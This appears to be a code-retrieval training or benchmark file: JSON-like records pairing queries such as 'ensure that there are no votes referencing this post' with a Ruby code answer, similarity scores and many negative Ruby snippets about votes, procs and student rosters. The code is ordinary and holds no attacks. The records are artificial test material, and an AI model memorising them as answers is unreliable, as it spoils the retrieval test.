"0.70584464",
"0.7056008",
"0.70444155",
"0.70440537",
"0.70440537",
"0.7037864",
"0.70324415",
"0.70247406",
"0.7016143",
"0.7013723",
"0.7008277",
"0.69972205",
"0.69900876",
"0.696042",
"0.69569945",
"0.69486827",
"0.6944321",
"0.69402283",
"0.6937766",
"0.69344294",
"0.6926365",
"0.6925791",
"0.69213146",
"0.6917973",
"0.69052577",
"0.6901961",
"0.6900661",
"0.6894408",
"0.6893411",
"0.68924916",
"0.6888578",
"0.68827087",
"0.6882318",
"0.68796605",
"0.68701917",
"0.68625957",
"0.68539655",
"0.68492335",
"0.6844586",
"0.68354994",
"0.68352836",
"0.6830065",
"0.68216586",
"0.6820635",
"0.6810276",
"0.6807384",
"0.6803337",
"0.67993313",
"0.67993134",
"0.67984",
"0.6798379",
"0.67920375",
"0.67888564",
"0.67881054",
"0.6787498",
"0.6786587",
"0.67855716",
"0.6777188",
"0.6773755",
"0.6769656",
"0.67651063",
"0.6763616",
"0.6760979",
"0.67600673",
"0.6753759",
"0.67492443",
"0.6745894",
"0.6743322",
"0.67350024",
"0.67311823",
"0.673067",
"0.67298055",
"0.67297703"
] | 0.0 | -1 |
ensure that there are no votes referencing this post | def destroy_votes
Vote.where(post_id: self.id).destroy_all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unvote!(post)\n votes.find_by(post_id: post.id).destroy\n end",
"def has_votes?\n vote_count > 0\n end",
"def clear_vote!(voteable)\n clear_vote(voteable)\n return true\n rescue\n return false\n end",
"def ensure_not_referenced_by_any_expense\n raise \"Cannot delete user '#{name}'. There are expenses referencing this user.\" unless expenses.empty?\n end",
"def post_votes\n []\n end",
"def vote?\n [email protected]? && [email protected]? && \\\n [email protected](user_id: @user.id).exists?\n end",
"def cleardownvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.where(user_id: session[:id], post_id: @post.id, score: -1)\n if @vote.exists?\n Vote.destroy(@vote.pluck(:id)[0])\n @post.update_attribute(:respect, @post.respect + 1) # Update post respect\n flash[:notice] = 'Vote cleared successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end",
"def downpost\n post = Post.find_by_id(params[:id])\n if !post.nil?\n post.vote(current_user, false)\n end\n end",
"def any_votes?\n total_votes > 0\n end",
"def clearupvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.where(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.exists?\n Vote.destroy(@vote.pluck(:id)[0])\n @post.update_attribute(:respect, @post.respect - 1) # Update post respect\n flash[:notice] = 'Vote cleared successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end",
"def uniqueness_by_votable\n errors.add(\"you already voted!\") if Vote.where(votable: self.votable, user_id: self.user_id).count > 0\n end",
"def upvoted?(post)\n voted_up_on? post\n end",
"def ensure_not_referenced_by_any_dog_owner\n\n\t\t# Check for a link to an owner\n\t\t@record = DogOwner.find_by(dog_id: id)\n\t\tif @record\n\t\t\terrors.add(:base, 'Dog owner present')\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def assert_no_vote_links_for(topic)\n get topic_path(topic)\n assert_select 'a[href=?]',\n topic_votes_path(resource_id: topic.id, value: 1), count: 1\n assert_select 'a[href=?]',\n topic_votes_path(resource_id: topic.id, value: -1), count: 1\n end",
"def ensure_not_referenced_by_any_expense\n\t\t\tif expenses.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Expense present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def check_for_posts\n if self.posts.any?\n errors[:base] << \"cannot delete Topic tag when posts are using it!\"\n return false\n else\n return true\n end\n end",
"def ensure_not_referenced_by_any_recommendations\n if recommendations.empty?\n return true\n else\n errors.add(:base, 'Recommendations Present')\n return false\n end\n end",
"def vote_up!(user)\n vote_ups.create(:user => user) unless voted_by?(user)\n end",
"def unvote options={}\n return false if options[:voter].nil?\n\n _votes_ = votes_of options[:voter]\n return true if _votes_.size == 0\n\n _votes_.each(&:destroy)\n update_cached_votes\n self.vote_registered = false if votes.count == 0\n\n true\n end",
"def not_able_to_unvote\n @match_vote = MatchVote.find(params[:id])\n if @match_vote.created_at <= Time.now - 5.minutes\n redirect_to root_url\n end\n end",
"def voted?\n self.voted.to_i != 0\n end",
"def uppost\n post = Post.find_by_id(params[:id])\n if !post.nil?\n post.vote(current_user, true)\n end\n end",
"def ensure_not_referenced_by_any_expense_detail\n raise \"Cannot delete currency '#{name}'. There are expens details referencing this currency.\" unless expense_details.empty?\n end",
"def comments_have_votes?\n true\n end",
"def voted_for?(post)\n evaluations.where(target_type: post.class, target_id: post.id).present?\n end",
"def voted_for?(post)\n evaluations.where(target_type: post.class, target_id: post.id).present?\n end",
"def ensure_not_referenced_by_any_bet\n if bets.empty?\n return true\n else\n errors.add(:base, 'Bets present')\n return false\n end\n end",
"def up_votes\n # we find the up votes for a post by passing value: 1 to where. This fetches a collection of votes with a value of 1. \n # We then call count on the collection to get a total of all up votes.\n votes.where(value: 1).count\n end",
"def regenerate_nonexistent_post_counts!\n Tag.find_by_sql(<<~SQL.squish)\n UPDATE tags\n SET post_count = 0\n WHERE\n post_count != 0\n AND name NOT IN (\n SELECT DISTINCT tag\n FROM posts, unnest(string_to_array(tag_string, ' ')) AS tag\n GROUP BY tag\n )\n RETURNING tags.*\n SQL\n end",
"def has_downvoted_for(user_id, post_id)\n\t\trelationship = Vote.find_by(user_id: user_id, post_id: post_id, vote_type: \"downvote\")\n \treturn true if relationship\n\tend",
"def down_voted?(options)\n validate_and_normalize_vote_options(options)\n down_voted_by(options[:voter_id], options[:voting_field]).where(:_id => options[:votee_id]).count == 1\n end",
"def user_has_voted(post)\n if (current_user)\n if (post.voted_by?(current_user))\n 1\n else\n 0\n end\n else\n 2\n end\nend",
"def unanswered_by_votes(options={})\n records(path + \"unanswered/votes\", options)\n end",
"def upvote\n\t\tif vote_once\n\t\t\t@vote = @post.votes.create(user_id: current_user.id)\n\t\telse\n\t\t\t@vote = false\n\t\tend\n\t\tbyebug\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def check_no_posting(opp)\n return if Util.has_posting(opp) || Util.is_archived(opp)\n \n location = location_from_tags(opp)\n if location.nil?\n # unable to determine target location from tags\n client.add_tags_if_unset(opp, TAG_ASSIGN_TO_LOCATION_NONE_FOUND)\n nil\n else\n client.remove_tags_if_set(opp, TAG_ASSIGN_TO_LOCATION_NONE_FOUND)\n client.add_tag(opp, TAG_ASSIGN_TO_LOCATION_PREFIX + location[:name])\n client.add_tag(opp, TAG_ASSIGNED_TO_LOCATION)\n # add_note(opp, 'Assigned to cohort job: ' + location[:name] + ' based on tags')\n client.add_candidate_to_posting(opp[\"id\"], location[:posting_id])\n true\n end\n end",
"def undo_upvote\n request('upvote/undo').auth_required!\n end",
"def original_post?\n self.ancestry.blank? && self.checkin_id.blank?\n end",
"def temp_votes\n return self.votes.where(:registration_id => nil)\n end",
"def validate_survivors\n not(same_survivor? or invalid_survivors?) ? true : false\n end",
"def require_unpublished\n if params[:id]\n Question.find(params[:id]).quiz.published and raise ArgumentError, \"can't manage a published quiz\"\n end\n end",
"def voted_on?(user)\n return !self.ratings.find_by_user_id(user.id).nil?\n end",
"def upvote\n # you can upvote only once\n if [email protected](user: current_user).exists?\n @recipe.votes.where(user: current_user).first_or_create\n else\n # you can take your upvote back\n current_user.votes.where(user: current_user)\n @recipe.votes.where(user: current_user).first.destroy\n end\n end",
"def check_if_unassigned\n if self.pattern_tags.size ==0\n self.destroy\n end\n end",
"def ensure_not_referenced_by_any_item\n\t\tunless items.empty?\n\t\t\terrors.add(:base, 'Na stanie są sztuki tego produktu')\n\t\t\tthrow :abort\n\t\tend\n\tend",
"def has_upvote_from(user)\n votes.find_by(user_id: user.id).present?\n end",
"def votes_blocked?\n current_settings.votes_blocked\n end",
"def user_already_voted?(user_ip)\n self.votes.all(:user_ip => user_ip).count > 0\n end",
"def down_votes\n votes.where(value: -1).count\n end",
"def down_votes\n votes.where(value: -1).count\n end",
"def unvoted_photos\n votes = self.votes\n @voted_photos = votes.map{|vote| vote.photo_id}\n @photos = Photo.all.map{|photo| photo.id}\n @photos-@voted_photos\n end",
"def voting_allowed?\n # As of today, cannot vote if project is in 'parking lot'\n if self.event.nil? then\n return false\n else\n return self.event.voting_enabled?\n end\n end",
"def destroy\n @vote.destroy\n end",
"def ensure_not_referenced_by_any_recipe\n unless recipes.empty?\n errors.add(:base, ' - recipes present for this ingredient')\n throw :abort\n end\n end",
"def user_has_voted(user, meeting)\n meeting.suggestions.each do |suggestion|\n if suggestion.meeting_id == meeting.id\n suggestion.votes.each do |vote|\n if vote.voter_id == user.id && vote.decision == Vote::DONTKNOW\n return false\n end\n end\n end\n end\n return true\n end",
"def unpublish_self\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end",
"def deletable?\n votes.each do |v|\n return false if (v.user_id != user_id) && v.value.positive? && v.favorite\n end\n true\n end",
"def can_request?(post)\n post[:post_id] != posts\n end",
"def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"def ensure_not_referenced_by_any_favourite\n if favourites.empty?\n return true\n else\n errors.add(:base, 'Favourites present')\n return false\n end\n end",
"def vote\n #params[:answer_id][:vote]\n #it can be \"1\" or \"-1\"\n @post = Post.find(params[:post_id])\n @post.vote!(params[:post_id][:votes])\n redirect_to :action => 'index'\n end",
"def undo_vote\n vote(0)\n end",
"def reset_vote_range\n @vote_range = nil\n end",
"def destroyable?\n self.submitted_answers.empty?\n end",
"def dieIfNoTreasures()\n if(@hiddenTreasures.empty? and @visibleTreasures.empty?)\n @dead = true\n end\n end",
"def up_votes\n\t#\tself.votes.where(value: 1).count\n\t\tvotes.where(value: 1).count\n\tend",
"def remove_proof_upvote_notifications\n ((@resource.versions.map{ |version| version.user }).uniq - [@actor]).each do |editor|\n n = Notification.find_by(recipient: @resource.user, actor: @actor, \n action_type: \"like\", \n notifiable: @resource) if @resource.user != @actor\n if !n.nil?\n n.destroy\n @removed += 1\n end\n end\n end",
"def for_post?\n self.checkin_id.blank?\n end",
"def total_down_votes\n self.reload\n self.votes.are(:down).count\n end",
"def total_down_votes\n self.reload\n self.votes.are(:down).count\n end",
"def ensure_ownership\n raise StandardError, I18n.t('user.unauthorised', email: current_user.email) if @post.user != current_user\n end",
"def restrict_when_referenced\n return false if nodes.count > 0\n end",
"def remove_vote(vote)\n self.score = self.score - vote.value\n self.votes_count = self.votes_count - 1\n end",
"def complete_comment_votes(comment_id)\n comment = Comment.find_by(:id => comment_id)\n\n if comment.vote_count.nil? && coment.votes.nil?\n comment_object = Wagg::Crawler.comment\n else\n # Throw error or mark the comment's votes as non-recoverable?\n end\n\n end",
"def prevent_posting?\n prevent_posting_until? && prevent_posting_until > Time.current\n end",
"def unanswered\n answers.blank?\n end",
"def ensure_not_referenced_by_any_company\n raise \"Cannot delete currency '#{name}'. There are companies referencing this currency.\" unless companies.empty?\n end",
"def tags_empty?\n current_or_guest_user.owned_tags.empty?\n end",
"def total_up_votes\n self.reload\n self.votes.are(:up).count\n end",
"def total_up_votes\n self.reload\n self.votes.are(:up).count\n end",
"def create_vote\r\n\t\tuser.votes.create(value: 1, post: self)\r\n\tend",
"def voted\n\t\tcurrent_user = User.current_user\n\t\tunless current_user.blank?\n\t\t\tcurrent_user.voted?(self)\n\t\telse\n\t\t\tfalse\n\t\tend \n\tend",
"def delete_the_votes\n ActsAsVotable::Vote.destroy_all\n end",
"def ensure_not_referenced_by_any_product\n unless products.empty?\n errors.add(:base, 'Cannot destroy - products present for this sector')\n throw :abort\n end\n end",
"def create_vote\n user.votes.create(value: 1, post: self)\n end",
"def permit_vote?(member)\n member.membership_active? && !member.has_voted_on?(@motion) && [email protected]_with_member?(member)\n end",
"def has_enough_votes?\n if self.resident_upvotes.count >= 5\n return true \n else \n return false\n end \n end",
"def ready_to_finalize\n \t votes_cast = 0\n \t self.votes.each{ |v| votes_cast = votes_cast + v.num_shares }\n\n \t if votes_cast > 0.5 * self.project.total_shares\n \t \t return true\n\t end\n end",
"def test_vote_count \n assert_equal 1, allocations(:user_allocation).votes.size\n allocations(:user_allocation).votes.delete_all\n assert_equal 0, allocations(:user_allocation).votes.size\n end",
"def ensure_not_referenced_by_any_user\n raise \"Cannot delete user '#{name}'. There are users referencing this user as manager.\" unless users.empty?\n end",
"def no_embargoes\n model.persisted? && !model.under_embargo?\n end",
"def create_vote\n\t\tuser.votes.create(value: 1, post: self)\n\tend",
"def include_unrevealed?\n options[:collection_ids].present? || collected?\n end",
"def unanswered_with_my_tags\n request('unanswered/my-tags').auth_required!\n end",
"def already_voted_by_user?(the_user)\n post_vote_array(the_user).present?\n end",
"def ensure_not_referenced_by_any_adoption\n if adoptions.empty?\n return true\n else\n errors.add(:base, 'Adoption present')\n return false\n end\n end",
"def voted_by?(user)\n !!vote_ups.find_by_user_id(user.id) if user\n end",
"def ensure_not_referenced_by_adoption\n if adoptions.empty?\n return true\n else\n errors.add(:base, 'Adoption present')\n return false\n end\n end",
"def vote_down\n update_votes(-1)\n end",
"def dieIfNoTreasures\n if (@visibleTreasures.empty? && @hiddenTreasures.empty?)\n @dead = true\n @level = 1 \n end\n end"
] | [
"0.64432395",
"0.6361458",
"0.63155955",
"0.6271475",
"0.62529933",
"0.6182774",
"0.61332995",
"0.6085801",
"0.6076617",
"0.6062003",
"0.59006333",
"0.5894566",
"0.5848834",
"0.584272",
"0.57691884",
"0.575261",
"0.5739186",
"0.57267904",
"0.571363",
"0.5663623",
"0.5659946",
"0.5616522",
"0.557384",
"0.55557823",
"0.55481285",
"0.55481285",
"0.55467516",
"0.55317605",
"0.5526483",
"0.5516657",
"0.55045086",
"0.5499473",
"0.54938245",
"0.54849434",
"0.54502815",
"0.5441907",
"0.54410595",
"0.54365546",
"0.5431625",
"0.5428834",
"0.54218274",
"0.54160255",
"0.54095435",
"0.54068524",
"0.53983235",
"0.53889143",
"0.53877676",
"0.53857255",
"0.53857255",
"0.53787637",
"0.5375815",
"0.53715545",
"0.5370954",
"0.53621006",
"0.5358265",
"0.53551084",
"0.5341093",
"0.5333135",
"0.5333135",
"0.5326324",
"0.53262544",
"0.5321698",
"0.5311793",
"0.53090805",
"0.53014207",
"0.5298848",
"0.5292026",
"0.5288874",
"0.5286076",
"0.5286076",
"0.5278513",
"0.52669376",
"0.5264699",
"0.526329",
"0.5262323",
"0.5249452",
"0.5248032",
"0.5244998",
"0.5242798",
"0.5242798",
"0.5233641",
"0.5225979",
"0.5217834",
"0.52170527",
"0.5208614",
"0.52076125",
"0.52033746",
"0.5196156",
"0.51927346",
"0.51904905",
"0.5188815",
"0.51860416",
"0.51780105",
"0.51776415",
"0.5167106",
"0.5165245",
"0.51632696",
"0.5157845",
"0.5154904",
"0.51463145"
] | 0.59981024 | 10 |
Procs vs. methods You can't pass methods to other methods, but you can pass procs to methods Methods can't return other methods, but they can return procs. Procs are objects, methods aren't | def do_self_importantly(some_proc)
puts "Everybody just HOLD ON! I have something to do..."
some_proc.call
puts "Ok everyone, I'm done. Go on with what you were doing."
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend",
"def go\n a = Proc.new do \n puts 'Proc'\n\n return\n end\n\n methods(&a)\n\n puts 'end go'\nend",
"def test\r\n puts \"Enter in methods\"\r\n p = Proc.new { p \"Entering proc\"; break }\r\n p.call\r\n p \"Existing methods\"\r\nend",
"def pass_proc1 (proc1, proc2, number, proc3)\n proc1.call\n proc2.call\n proc3.call \n Proc.new { puts \"#{number} procs have been passed as arguments to the currently executing method #{__method__.to_s}\" }.call\n proc5 = Proc.new {puts \"A proc can be output from a method. This is the second property of higher-order functions\"} \nend",
"def takes_a_proc( p )\n p.call\nend",
"def proc_return_demo\n some_proc = Proc.new { return \"proc returns\"}\n some_proc.call\n \"method returns\"\nend",
"def batman_ironman_proc #calls a proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def meth2\n put yield(8)\nend\n\nsquare = proc {|i| i*i}\n\nmeth2 {|i| i + i}\nmeth2 &square # the last actual argument in a method invocation is a Proc object, precede it with & to convert it into a block. The method may then use yield to call it\n# class\nclass Cla\t# class names always begin with a captial letter\n include MIXIN\n prepend MODULE\n\n attr_reader :name # read only\n attr_accessor :content, :time, :mood # read/write\n attr_writer :age\n\n def initialize(mood, content=\"\")\t# called when new object is created\n\t@time = Time.now\n\t@content = content[0..39]\n\t@mood = mood\n end\n\n def <=> (other) # spaceship operator\n\ttime <=> other.time\n end\n\n def set=(val) # methods with = append must be called with an explicit receiver\n @content = val\n puts @content\n end\nend\ninstance = Cla.new :confused, \"a new message\"\ninstance = Cla.new (:confused, \"a new message\"",
"def run_couple\n run_a_proc proc { puts 'I am a proc'; return }\n p 'you will not see me'\n run_a_proc lambda { puts 'I am a lambda'; return }\nend",
"def proc_method(&my_proc)\n puts \"method start\"\n my_proc.call\n puts \"method end\"\nend",
"def batman_ironman_proc #will return batman will win\n victor = Proc.new { |n| return \"Batman will win!#{n}\" }\n victor.call(3)\n \"Iron Man will win!\"\nend",
"def my_method(some_proc)\n puts \"my_method starts\"\n some_proc.call\n puts \"my_method ends\"\nend",
"def method1\n # some proccesses\nend",
"def method1\n # some proccesses\nend",
"def test\r\n puts \"Enter in methods\"\r\n p = Proc.new {p \"Entering block\"; return }\r\n p.call\r\n p \"Existing methods\"\r\nend",
"def lambda_vs_proc\n my_lam = lambda { return puts \"Hi, I'm your lambda!\" }\n my_lam.call\n puts 'Returned from lambda!'\n my_proc = Proc.new { return puts 'Hello from proc!' }\n my_proc.call\n puts 'The proc will not allow this to be seen!'\nend",
"def invoke; end",
"def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n victor.call\r\n \"Iron Man will win!\"\r\nend",
"def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n puts victor.call\r\n \"Iron Man will win!\"\r\nend",
"def firstMethod()\n p \"hey this is first method ok\"\n p \"here i show how can create method in ruby\"\n p \" know time end \"\nend",
"def methods() end",
"def to_proc\n method(:call).to_proc\n end",
"def my_method(&the_proc)\n the_proc\nend",
"def method(p0) end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def proc_demo_method\n proc_demo = Proc.new { return \"Only I print!\" }\n proc_demo.call\n \"But what about me?\" # Never reached\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend",
"def _call_of(method)\n proc{ |*args| send(method, *args) }\n end",
"def call(*) end",
"def call(*) end",
"def test procArg1, procArg2\n\tProc.new do |arg|\n\t\tprocArg2.call(procArg1.call(arg))\n\tend\nend",
"def method\r\nend",
"def procasaurus( p1, p2, p3 )\n\tputs p1.call\n\tputs p2.call\n\tputs p3.call\nend",
"def meth(arg1,arg2)\nend",
"def meth(arg1,arg2)\nend",
"def greeting(proc_1, proc_2, proc_3)\n puts proc_1.call('good morning')\n puts proc_2.call('hello')\n puts proc_3.call('good evening')\nend",
"def call_a_proc(&my_proc)\n my_proc.call\nend",
"def method c\r\nend",
"def test_method procArg\n\tprocArg.call\nend",
"def talk_about(name, &myproc) #so ruby (and us) know we are adding a proc prefix it with a ambersand &\n puts \"Let me tell you about #{name}\"\n myproc.call(name) #in the body it doesnt need a ambersand & only in the definition\nend",
"def create_proc_with_params\n proc = Proc.new { |a| puts a * 2 }\n #on check on numbers of paramaters\n proc.call(4,6)\n proc.call(5)\nend",
"def calls; end",
"def calls; end",
"def to_proc() end",
"def to_proc() end",
"def method2() end",
"def fred(param)\n proc {}\nend",
"def proc_method\n my_proc = Proc.new { return \"I'm a proc\"}\n my_proc.call\n \"Last line of proc_method\"\nend",
"def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" } # Proc returns immediately, without going back to the batman_ironman_proc method.\n victor.call\n \"Iron Man will win!\"\nend",
"def create_proc_with_return\n proc = Proc.new { return puts \"I am a proc with return\" }\n #on check on numbers of paramaters\n proc.call()\n # will not be executed!\n puts \"I am behind proc's call that with a return \"\nend",
"def thisIsAMethod myProc\n puts 'SILENCE!!! I have an announcement'\n myProc.call\n puts 'As you were!'\n\nend",
"def b_method()\n Proc.new { return \"we return from proc\" }.call\n return \"return from method\"\nend",
"def meth(arg1)\nend",
"def meth(*args)\n\n\n\nend",
"def to_proc() self ; end",
"def handle_proc(pr, *a)\n case pr\n when Proc, Method\n pr.call(*a)\n else\n pr\n end\n end",
"def new_proc\n proc1 = Proc.new{return \"I got it....\"}\n proc1.call\n \n return \".. but not that\"\nend",
"def proc_math\n Proc.new { return 1 + 1 }.call\n return 2 + 2\nend",
"def probers; end",
"def ptest_method_1(test); end",
"def method1; end",
"def calls_by_method_name; end",
"def invoking\n end",
"def greeting(arrange_proc)\n puts 'good morning'\n text = arrange_proc.call('hello')\n puts text\n puts 'good evening'\nend",
"def test_Method_InstanceMethods_call\n\t\tm = 12.method(\"+\")\n\t\tassert_equal(15, m.call(3))\n\t\tassert_equal(32, m.call(20))\n\tend",
"def proc_math\n Proc.new { return 1 + 1 }.call\n\n return 2 + 2\nend",
"def call(object); end",
"def create_proc\n proc = Proc.new { puts \"I am a Proc created by Proc.new\"}\n proc.call\nend",
"def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\n\nend",
"def proc_method\n my_proc = Proc.new { return \"I'm a proc!\"}\n my_proc.call\n \"Last line of proc method\"\nend",
"def is_proc?(p)\n p.is_a?(Proc) || p.is_a?(Method)\n end",
"def methods=(_arg0); end",
"def callee\n @method\n end",
"def diet2\n status = Proc.new { return 'You gave in!' }\n status.call\n 'You completed the diet!'\nend",
"def instance_method(p0) end",
"def proc_method\n\tproc_a = proc { |x| return x }\n\tproc_a.call(@expected_proc_return)\n\t\"unexpected proc return\"\nend",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x)) #put proc1 into parenthesis inorder for it to be done first\n end\nend",
"def proc_method\n p = Proc.new { return \"\\nreturning from proc\\n\"} \n p.call\n print \"\\nStatement after proc\\n\"\nend",
"def proc_example\n\tsay_hi = proc {|name| puts \"Hi #{name}\"}\n\tsay_hi.call(\"Ganesh\")\nend",
"def print_method(*) end",
"def proc_return\n my_proc = Proc.new {return}\n my_proc.call\n puts \"Will this be printed (Proc)\"\nend"
] | [
"0.6747757",
"0.64880836",
"0.6454937",
"0.6437338",
"0.63884526",
"0.63388664",
"0.63382596",
"0.63094056",
"0.62636656",
"0.62457436",
"0.6241719",
"0.62269",
"0.614704",
"0.614704",
"0.61166704",
"0.6105994",
"0.6104038",
"0.6096777",
"0.6072324",
"0.607074",
"0.6029219",
"0.6028433",
"0.6019295",
"0.600973",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.60086256",
"0.5971334",
"0.59491736",
"0.59491736",
"0.59394646",
"0.59314704",
"0.59314704",
"0.58929724",
"0.58913785",
"0.5888361",
"0.58819544",
"0.58819544",
"0.58786607",
"0.5861924",
"0.58545315",
"0.58500606",
"0.5847749",
"0.5847734",
"0.58475584",
"0.58475584",
"0.5831244",
"0.5831244",
"0.58263665",
"0.5793039",
"0.57893866",
"0.57877403",
"0.5784045",
"0.57825994",
"0.5780436",
"0.5778349",
"0.5771172",
"0.57680976",
"0.5761677",
"0.57460815",
"0.5740009",
"0.5722904",
"0.57198286",
"0.57120794",
"0.5708902",
"0.57080615",
"0.5700254",
"0.56964856",
"0.56886566",
"0.5673994",
"0.5669057",
"0.5664374",
"0.56576854",
"0.5653414",
"0.5652598",
"0.565052",
"0.56466347",
"0.562552",
"0.56095886",
"0.56045866",
"0.56045866",
"0.56045866",
"0.56045866",
"0.56045866",
"0.56045866",
"0.56045866",
"0.56045866",
"0.5598956",
"0.5590469",
"0.55846286",
"0.5580348",
"0.55652606"
] | 0.0 | -1 |
add a student to the school by calling the add_student method and giving it an argument of the student's name and their grade You can't push an item into an array that is the value of a key that doesn't exist yet... | def add_student(student_name, grade)
# roster[grade] = [] # ...first: create the new key and point it to an empty array
roster[grade] ||= [] # add multiple students to a grade & add students to different grades using ||=
roster[grade] << student_name # ...then: push the new value into that array
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_student(school, new_student_name, new_student_grade, new_student_semester)\n school[:students].push(:name => new_student_name, \n :grade => new_student_grade, :semester => new_student_semester)\nend",
"def add_student(student_name, student_grade)\n\t\tSCHOOL[:students] << {:name => student_name, :grade => student_grade}\n\tend",
"def addstudent(student, grade, semester, school)\n school[:students] << {name: student, grade: grade, semester: semester} \nend",
"def add_new_student(school, name)\n\tschool[:students].push({:name => name})\nend",
"def add_student(student_name, grade)\n roster[grade] ||= []\n roster[grade] << student_name\n end",
"def add_student(name, grade)\n #check if empty\n if roster[grade] != nil\n roster[grade] << name\n else\n roster[grade] = [name]\n end\n end",
"def add_student(student, school)\t\t\t\t\t\t\t\t\t\t\t\t#ci. create method to add stuents\n\tschool[:students].push({:name=>student})\nend",
"def add_student(student, grade)\n @roster[grade] ||= []\n @roster[grade] << student\n # binding.pry\n end",
"def add_student(name, grade)\n roster[grade]||=[]\n roster[grade] << name\n end",
"def add_student(student_name, grade)\n if @roster[grade] == nil\n @roster[grade] = []\n end\n @roster[grade] << student_name\n end",
"def add_student(name, grade, semester)\n\t\tstudents.push( {:name => name, :grade => grade, :semester => semester} )\n\tend",
"def add_student(student_name, grade)\n if @roster[grade]\n @roster[grade].push(student_name)\n else\n #if not present, create the key and empty array value and add \n #the student name to it\n @roster[grade] = []\n @roster[grade].push(student_name)\n end\n end",
"def add_student(student_name, grade)\n if @roster.has_key?(grade)\n @roster[grade] << student_name\n else\n @roster[grade] = []\n @roster[grade] << student_name\n end\n end",
"def add_student(name, grade)\r\n roster[grade] = [] unless roster[grade]\r\n roster[grade] << name\r\n end",
"def add_student (name, grade)\n # @student_name = name\n # @grade = grade\n if @roster.include?(grade) \n @roster [grade] << name \n else\n @roster [grade] = [name]\n end\n end",
"def add_student(name, grade)\n @roster[grade] ||= []\n @roster[grade] << name\n end",
"def add_student(student_name, grade)\n if @roster[grade]\n @roster[grade] << student_name\n else\n @roster[grade] = []\n @roster[grade] << student_name\n end\n end",
"def add_student(name, grade)\r\n if @roster[grade] != nil \r\n @roster[grade] << name\r\n else\r\n @roster[grade] = [name]\r\n end\r\n end",
"def addstudent(name, grade, semester)\n\t\[email protected](:name=>name, :grade=>grade, :semester=>semester)\n\tend",
"def add_student(name, grade)\n if roster.key?(grade) == false\n roster[grade] = [ ]\n roster[grade] << name \n else \n roster[grade] << name\n end \n end",
"def add_student(student, grade_level)\n roster[grade_level] ||= []\n roster[grade_level] << student \n end",
"def add_student(student_name, student_grade)\n# pp @roster\n \n if roster[student_grade]\n roster[student_grade] << student_name\n else\n roster[student_grade] = []\n roster[student_grade] << student_name\n end\n\n# roster[grade] name\n end",
"def add_new_student_to_schools_student_array(new_student_name, new_student_grade, school)\n new_student = {name: new_student_name, grade: new_student_grade}\n #school[:students].push(new_student)\n school[:students][school[:students].size] = new_student\n school\nend",
"def add_student(name, grade, semester)\n\t\tstudents.push(Student.new(name, grade, semester))\n\tend",
"def add_student(school,new_student)\n new_student_hash = {}\n new_student_hash[:name] = new_student\n school[:students] << new_student_hash\nend",
"def add_student(name, grade)\n\t\tif @roster.key?(grade)\n\t\t\t@roster[grade] << name\n\t\telse \n\t\t\t@roster[grade]= []\n\t\t\troster[grade] << name\n\t\tend\n\tend",
"def add_student (name,grade)\n if @roster[grade] == nil\n @roster[grade] = []\n @roster[grade] << name\n else \n @roster[grade] << name\n end \nend",
"def add_student(student, grade_num) #adds student into roster hash\n if @roster[grade_num]\n @roster[grade_num] << student\n else\n @roster[grade_num] = [student]\n end\nend",
"def add_student(student, grade_num) #adds student into roster hash\n if @roster[grade_num]\n @roster[grade_num] << student\n else\n @roster[grade_num] = [student]\n end\nend",
"def new_student(list, name, grade, semester)\n\tlist.push( {:name => name, :grade => grade, :semester => semester} )\nend",
"def add_student(new_student)\n @students << new_student\n end",
"def add_student(student)\n @students << student\n end",
"def add_student(student)\n @student << student\n end",
"def new_student(name, email)\n #code here\n @students.push({name: name, email: email})\nend",
"def addstudent(newname, schoolvar)\n\tschoolvar[:students]<<{:name=>newname}\nend",
"def add_student_name(name)\n @student_names << name\n end",
"def push_to_students(name, cohort, height, eyecolour)\n @students << {name: name, cohort: cohort, height: height, eyecolour: eyecolour}\nend",
"def add_student=(student_id)\n return unless student_id.present?\n students << Student.find(student_id)\n end",
